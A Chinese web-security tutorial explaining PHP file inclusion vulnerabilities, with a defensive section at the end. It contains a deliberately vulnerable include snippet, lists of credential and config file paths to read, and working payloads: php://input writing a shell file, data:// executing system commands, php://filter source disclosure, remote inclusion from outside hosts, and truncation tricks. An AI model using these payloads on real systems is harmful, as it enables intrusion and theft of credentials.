WEB常见漏洞之文件包含(基础原理篇)

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,高可用系列 2核4GB
简介: WEB常见漏洞之文件包含(基础原理篇)

0x01漏洞概述


SQL注入等攻击方式一样,文件包含漏洞也是一种“注入型漏洞”,其本质就是输入一段用户能够控制的脚本或者代码,并让服务器端执行。

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程就叫做包含。

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种:

include()
require()
include_once()
require_once()

区别如下:

require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。
include(),找不到被包含的文件时只会产生警告,脚本将继续运行。
include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
require_once()与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

0x02本地文件包含

一、简介

被包含的文件在服务器本地,这里演示一个最简单的文件包含,源码如下:

<?php
$filename=$_REQUEST['filename'];
include $filename;
?>

1、首先上传phpinfo代码,之后直接包含就可以完成getshell

2、使用多个../完成目录穿越,查看linux的passwd文件

./表示当前位置路径,../表示上一级路径位置,在linux中同样适用。

一些常见的敏感信息路径:

Windows系统:

c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息

Linux/Unix系统:

/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件

二、攻击方式

上传带有shell的图片,利用包含漏洞getshell
读取文件内容,如php源代码
包含日志文件来getshell
包含 proc/self/environ 来getshell
phpinfo包含临时文件

三、伪协议文件包含

file:// 访问本地文件系统
http(s):// 访问 HTTPs 网址
ftp:// 访问 ftp URL
php:// 访问输入/输出流
Zlib:// 压缩流
Data:// 数据
Ssh2:// security shell2
Expect:// 处理交互式的流
Glob:// 查找匹配的文件路径
phar:// PHP归档
rar:// RAR
ogg:// 音频流

常用伪协议讲解:

1. file://
(1)这个协议可以展现本地文件系统,默认目录是当前的工作目录。
(2)例如:file:///etc/passwd、file://key.txt
2. php://
(1) php://input是个可以访问请求的原始数据的只读流,可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。
(2) php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。
3.phar://
(1)phar://数据流包装器自PHP5.3.0起开始有效
(2)例如:phar://E:/phpstudy/www/1.zip/phpinfo.txt
phar://1.zip/phpinfo.txt

伪协议利用方式总结:

可以利用data://或php://等协议来完成文件包含






php://条件:php<5.0,allow_url_include=off 能使用      php>5.0,allow_url_fopen=On 能使用例子:include.php?filename=php://input,然后在post请求中通过input把语句上传执行<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>






data://为数据流封装器,data:URI schema,利用data://进行远程代码执行思路与php://类似,都是利用php中的流将原本include的文件的文件流,将原版的include文件重定向到用户可控的数据流中。条件:allow_url_include=on,php>5.2例子:include.php?filename=data://text/plain,<?php system(id)?>base64变形:include.php?filename=data://text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==




php://filter可用于查看源码,直接包含php文件时会被解析,不能看到源码,所以需要利用filter来读取,不过需要base64编码加密后才能传输过来。例子:include.php?filename=php://filter/read=convert.base64-encode/resource=include.php

四、文件包含路径

getshell-包含日志文件

/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log

网站配置文件

dedecms数据库:data/conmmon.inc.php
discuz全局:config/config_global.php
phpcms:caches/configs/database.php
phpwind:conf/database.php
wordpress:wp-config.php

系统配置文件

windows:
  C:/boot.ini //查看系统版本
  C:/Windows/System32/inetsrv/Metabase.xml //IIS配置文件
  C:/Windows/repairsam //存储系统初次安装的密码
  C:/Program Files/mysql/my.ini //mysql配置
  C:/Program Files/mysql/data/mysql/user.MYD //mysql root
  C:/Windows/php.ini //php配置信息
  C:/Winodws/my.ini //mysql配置信息
linux:
  /root/.ssh/authorized_keys
  /root/.ssh/id_rsa
  /root/.ssh/id_rsa.keystore
  /root/.ssh/known_hosts
  /etc/passwd
  /etc/shadow
  /etc/my.cnf
  /etc/httdp/conf/httpd.conf
  /root/.bash_history
  /root/.mysql_history
  /proc/self/fd[0-9]*
  /proc/mounts
  /proc/config.gz

0x03远程文件包含

被包含的文件在第三方服务器,即远程服务器上条件:php.ini需配置如下

    allow_url_fopen=on
    allow_url_include=on

    例子:include.php?file=https://maccc.top/1.txt


    注:被包含文件最好是一个txt格式

    0x04文件包含截断

    00x1 00字符截断

    简介及利用条件

    主要0x00作为ascii码中的特殊字符保留,当url中出现%00时表示读取已结束,利用条件如下:



    php < 5.3.4
    magic_quotes_gpc=off

    使用方法

    主要适用于在服务端代码里已写死后缀名(.txt),如只能传入文件名(1),当传入完整文件名(1.txt)时会发生错误,00截断就能帮助绕过这类限制完成getshell

      上传带有木马的图片 
      文件包含通过00截断访问目标图片,如 test.php?file=x.jpg%00
      使用蚁剑连接目标

      0x02 超长文件截断

      简介及利用条件

      主要利用操作系统对目录最长长度限制,利用条件如下:

      php < 5.2.8
      文件名要求:linux文件名需长于4096 winodws文件名需长于256
      

      使用方法

      将文件名命名为超过系统目录的最长长度限制


      test.php?file=x.jpg………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………

      0x03 问号截断

      简介及利用条件

      主要适用于远程包含,利用条件如下:

      php>=5.3
      allow_url_fopen=on
      allow_url_include=on

      使用方法

      在远程文件包含时在文件最后添加问号可完成截断


      test.php?file=http://192.168.0.121/x.txt?

      0x05漏洞防御

      1.严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;

      2.路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:“../”;

      3.包含文件验证:验证被包含的文件是否是白名单中的一员;

      4.尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include('head.php')。

      本地文件包含漏洞涉及的函数有哪些?

      include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。

      include_once:和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。

      require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。

      require_once:和 require 类似,不同处在于 require_once 只导入一次

      相关实践学习
      如何在云端创建MySQL数据库
      开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
      全面了解阿里云能为你做什么
      阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
      目录
      相关文章
      |
      2月前
      |
      缓存 移动开发 安全
      Web安全-HTTP响应拆分(CRLF注入)漏洞
      Web安全-HTTP响应拆分(CRLF注入)漏洞
      138 1
      |
      2月前
      |
      前端开发 Java API
      JAVA Web 服务及底层框架原理
      【10月更文挑战第1天】Java Web 服务是基于 Java 编程语言用于开发分布式网络应用程序的一种技术。它通常运行在 Web 服务器上,并通过 HTTP 协议与客户端进行通信。
      30 1
      |
      3月前
      |
      缓存 移动开发 安全
      Web安全-HTTP响应拆分(CRLF注入)漏洞
      Web安全-HTTP响应拆分(CRLF注入)漏洞
      179 8
      |
      3月前
      |
      安全 关系型数据库 Shell
      Web安全-浅析CSV注入漏洞的原理及利用
      Web安全-浅析CSV注入漏洞的原理及利用
      159 3
      |
      2月前
      |
      存储 安全 前端开发
      在前端开发中需要考虑的常见web安全问题和攻击原理以及防范措施
      在前端开发中需要考虑的常见web安全问题和攻击原理以及防范措施
      188 0
      |
      3月前
      |
      安全 应用服务中间件 开发工具
      Web安全-SVN信息泄露漏洞分析
      Web安全-SVN信息泄露漏洞分析
      218 2
      |
      3月前
      |
      JSON 安全 JavaScript
      Web安全-JQuery框架XSS漏洞浅析
      Web安全-JQuery框架XSS漏洞浅析
      500 2
      |
      2月前
      |
      XML JSON API
      ServiceStack:不仅仅是一个高性能Web API和微服务框架,更是一站式解决方案——深入解析其多协议支持及简便开发流程,带您体验前所未有的.NET开发效率革命
      【10月更文挑战第9天】ServiceStack 是一个高性能的 Web API 和微服务框架,支持 JSON、XML、CSV 等多种数据格式。它简化了 .NET 应用的开发流程,提供了直观的 RESTful 服务构建方式。ServiceStack 支持高并发请求和复杂业务逻辑,安装简单,通过 NuGet 包管理器即可快速集成。示例代码展示了如何创建一个返回当前日期的简单服务,包括定义请求和响应 DTO、实现服务逻辑、配置路由和宿主。ServiceStack 还支持 WebSocket、SignalR 等实时通信协议,具备自动验证、自动过滤器等丰富功能,适合快速搭建高性能、可扩展的服务端应用。
      138 3
      |
      1月前
      |
      设计模式 前端开发 数据库
      Python Web开发:Django框架下的全栈开发实战
      【10月更文挑战第27天】本文介绍了Django框架在Python Web开发中的应用,涵盖了Django与Flask等框架的比较、项目结构、模型、视图、模板和URL配置等内容,并展示了实际代码示例,帮助读者快速掌握Django全栈开发的核心技术。
      151 45
      |
      16天前
      |
      开发框架 JavaScript 前端开发
      TypeScript 是一种静态类型的编程语言,它扩展了 JavaScript,为 Web 开发带来了强大的类型系统、组件化开发支持、与主流框架的无缝集成、大型项目管理能力和提升开发体验等多方面优势
      TypeScript 是一种静态类型的编程语言,它扩展了 JavaScript,为 Web 开发带来了强大的类型系统、组件化开发支持、与主流框架的无缝集成、大型项目管理能力和提升开发体验等多方面优势。通过明确的类型定义,TypeScript 能够在编码阶段发现潜在错误,提高代码质量;支持组件的清晰定义与复用,增强代码的可维护性;与 React、Vue 等框架结合,提供更佳的开发体验;适用于大型项目,优化代码结构和性能。随着 Web 技术的发展,TypeScript 的应用前景广阔,将继续引领 Web 开发的新趋势。
      30 2